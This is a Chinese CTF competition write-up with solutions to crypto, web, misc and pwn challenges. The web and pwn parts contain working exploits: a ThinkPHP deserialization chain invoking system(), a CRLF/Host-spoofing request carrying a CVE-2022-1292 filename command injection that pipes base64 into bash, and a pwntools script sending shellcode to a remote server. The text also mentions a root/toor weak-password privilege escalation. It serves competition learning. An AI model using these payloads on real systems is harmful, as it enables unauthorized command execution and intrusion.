前言

不愧是CTF高考!每次打都好累啊!最后CTF88 + 理论1003 -> 156 🤣🤣🤣

Crypto

签到电台

根据提示“粥市安全到达了”所对应的7个电码1732 2514 1344 0356 0451 6671 0055,以及密码本前7*4个数字,1217 8895 2785 4160 1813 4846 9113,提示中的模十规律是加不进位,计算出加密后的电码2949 0309 3029 4416 1264 0417 9168,构造/send?msg=2949030930294416126404179168发送得到flag

基于挑战码的双向认证1、2

非预期,直接grep就能得到两题的flag

基于挑战码的双向认证3

依旧是非预期,弱密码root/toor提权,老地方找到flag

PS:有点迷的是这个grep出来的flag是什么呢?
(搞的我以为修复了,直到看见一堆解了才想是不是还是非预期呢😒

ISO9798

from hashlib import *
import string
from pwn import *

p=remote("47.93.176.13",32892)
context.log_level='debug'
p.recvuntil('sha256(XXXX+')
end=p.recv(16).decode()
p.recvuntil(') == ')
sha=p.recvuntil('\n')[:-1].decode()

def proof_of_work(end,sha):
    alp=string.ascii_letters+string.digits
    for i in alp:
        for ii in alp:
            for iii in alp:
                for iiii in alp:
                    s=(i+ii+iii+iiii+end).encode()
                    if sha256(s).hexdigest()==sha:
                        return i+ii+iii+iiii
xxxx=proof_of_work(end,sha)
p.recvuntil('Give me XXXX: ')
p.sendline(xxxx)
p.recvuntil('> ')
p.sendline('0')
p.recvuntil('Encrypt(rA||rB||B, k) (in hex) is ')
hhh=p.recvuntil('\n')[:-1].decode()
print(hhh)
s1=hhh[:32]
s2=hhh[32:64]
p.recvuntil('> ')
p.sendline(s2+s1)
p.recvall()

Web

Ezpop

参考文章:https://m.freebuf.com/vuls/321546.html

ThinkPHP6.0.12LTS反序列漏洞,有源码泄露,找到路由:?s=index/test

poc如下

<?php
namespace think{
    abstract class Model{
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = ''){
            $this->lazySave = True;
            $this->data = ['whoami' => ['cat /flag.txt']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['whoami' => ['system']];
            $this->json = ['whoami',['whoami']];
            $this->jsonAssoc = True;
        }
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model{
    }
}

namespace{
    echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}

online_crt

首先源码泄露,根据源码可知该处访问到go

@app.route('/proxy', methods=['GET'])
def proxy():
    uri = request.form.get("uri", "/")
    client = socket.socket()
    client.connect(('localhost', 8887))
    msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
    client.send(msg.encode())
    data = client.recv(2048)
    client.close()
    return data.decode()

app.run(host="0.0.0.0", port=8888)

而go这里核心代码在于host如何伪造,伪造成功之后即可进行文件名修改

if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
        err := os.Rename(staticPath+oldname, staticPath+newname)
        if err != nil {
            return
        }
        c.String(200, newname)
        return
    }
    c.String(200, "no")

通过审计上面的代码可知数据包我们可以通过换行符进行多次访问。

名字修改后回到createlink路由发现执行命令c_rehash,该命令存在cve:CVE-2022-1292

c_rehash static/crt/ && ls static/crt/

因网上无公开exp,所以通过官网公布的提交可找到删除部分:

@@ -161,10 +178,12 @@ sub check_file {


sub link_hash_cert {    sub link_hash_cert {
    my $fname = $_[0];        my $fname = $_[0];
    $fname =~ s/\"/\\\"/g;        my ($hash, $fprint) = compute_hash($openssl, "x509", $x509hash,
    my ($hash, $fprint) = `"$openssl" x509 $x509hash -fingerprint -noout -in "$fname"`;                                           "-fingerprint", "-noout",
                                       "-in", $fname);
    chomp $hash;        chomp $hash;
    chomp $fprint;        chomp $fprint;
    return if !$hash;
    $fprint =~ s/^.*=//;        $fprint =~ s/^.*=//;
    $fprint =~ tr/://d;        $fprint =~ tr/://d;
    my $suffix = 0;        my $suffix = 0;
@@ -202,10 +221,12 @@ sub link_hash_cert {


sub link_hash_crl {    sub link_hash_crl {
    my $fname = $_[0];        my $fname = $_[0];
    $fname =~ s/'/'\\''/g;        my ($hash, $fprint) = compute_hash($openssl, "crl", $crlhash,
    my ($hash, $fprint) = `"$openssl" crl $crlhash -fingerprint -noout -in '$fname'`;                                           "-fingerprint", "-noout",
                                       "-in", $fname);
    chomp $hash;

修改完之后将这部分代码删除了,也就是说问题出在这里

通过审计该文件,可知当选择c_rehash指令对文件夹进行计算时会计算所有名字中带有crt/pem等文件的哈希,命令如下:

 `"$openssl" x509 $x509hash -fingerprint -noout -in "$fname"`;           

那么该漏洞问题就出现在$fname可控的情况,使用双引号闭合前面之后即可达成任意代码执行。

结合题目,也就是说我们只需在题目利用go的功能修改文件名为: 1.crt"||cat /flag >flag.txt " 即可

exp如下:

uri=/admin/renam%25%36%35?oldname=[getcrt得到的文件名].crt%26newname=1.crt%2522%257C%257Cecho%2520Y2F0IC9mbGFnID5mbGFnLnR4dA%253D%253D%257Cbase64%2520-d%257Cbash%2526%2526echo%2522%20HTTP/1.1%0d%0aHost:%20admin%0d%0aConnection:close%0d%0a%0d%0a

访问/createlink路由,接着访问static/crt/flag.txt 即可得到flag

Misc

ez_usb

两个键盘设备,分别提取流量,得到一个压缩包和一个压缩包密码,进而得到flag

[-] Unknow Key : 04
[-] Unknow Key : 04
[-] Unknow Key : 01
[-] Unknow Key : 01
[+] Found :     526172211a0700<CAP>c<CAP>f907300000d00000000000000c4527424943500300000002<CAP>a000000<CAP>02b9f9b0530778b5541d33080020000000666c61672<CAP>e<CAP>747874<CAP>b9b<CAP>a013242f3a<CAP>fc<CAP>000b092c229d6e994167c05<CAP>a7<CAP>8708b271f<CAP>fc<CAP>042ae3d251e65536<CAP>f9a<CAP>da87c77406b67d0<CAP>e6316684766<CAP>a86e844d<CAP>c81aa2<CAP>c72c71348d10c4<CAP>c<DEL>3d7b<CAP>00400700


Running as user "root" and group "root". This could be dangerous.
[+] Found : 35c535765e50074a

everlasting_night

首先lsb,在Alpha2通道发现有竖立着东西

于是使用使用clockpixel得到了一个加密的压缩包

然后压缩包密码在图片最后面的字符串经过md5解密后得到

最后得到一张图片通过gimp打开调一下宽度得到flag

问卷调查

填问卷即可得到flag

babydisk

首先取证大师自动取证提取出一个加密文件和一个音频

接着用kali自带的暴力破解脚本deepsound2john.py解出密码:feedback

通过deepsound打开wav得到key.txt

然后就可以用Veracrypt加载那个加密文件得到一个压缩包,打开是破损了的

根据压缩包名字提示螺旋,直接搬运Mumuzi的exp如下

def function(n):
    matrix = [[0] * n for _ in range(n)]

    number = 1
    left, right, up, down = 0, n - 1, 0, n - 1
    while left < right and up < down:
        # 从左到右
        for i in range(left, right):
            matrix[up][i] = number
            number += 1

        # 从上到下
        for i in range(up, down):
            matrix[i][right] = number
            number += 1

        # 从右向左
        for i in range(right, left, -1):
            matrix[down][i] = number
            number += 1

        for i in range(down, up, -1):
            matrix[i][left] = number
            number += 1
        left += 1
        right -= 1
        up += 1
        down -= 1
    # n 为奇数的时候,正方形中间会有个单独的空格需要单独填充
    if n % 2 != 0:
        matrix[n // 2][n // 2] = number
    return matrix

f = open('spiral.zip','rb').read()
s = function(87)
# print(s)
s = sum(s,[])
#print(s)

f1 = open('fla.zip','wb')
arr = [0]*7569
# print(arr)
for i in range(len(s)):
    arr[i] = f[s[i]-1]
#print(arr)
# print(arr)
for i in arr:
    print(hex(i)[2:].zfill(2),end='')

进而得到如下图片

最后接着螺旋得到flag:flag{701fa9fe-63f5-410b-93d4-119f96965be6}

Pwn

login-nomal

首先用opt选择1,然后msg来实现指针置1,接着我们就在case 2有漏洞,用opt2来选择case2,在用msg写入shellcode

from pwn import *

context(arch='amd64', os='linux', log_level='debug')
elf = ELF('./login')
DEBUG = 0
if DEBUG:
    libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/libc-2.33.so")
    ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/ld-2.33.so")
    p = process(argv=[ld.path, elf.path], env={"LD_PRELOAD": libc.path})
    # p = process('./login')
else:
    ip = '47.93.176.91'
    port = 35204
    # libc = ELF("./libc.so.6")
    p = remote(ip, port)


def debug():
    gdb.attach(p, "b main")


# gdb.attach(p, "b *$rebase(0x)")


p.recvuntil(">>> ")
p.send("opt:1\nmsg:ro0ta\n\r\r\n")
p.recvuntil(">>> ")
# debug()
p.send(
    "opt:2\nmsg:Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070ta\n\r\r\n")

p.interactive()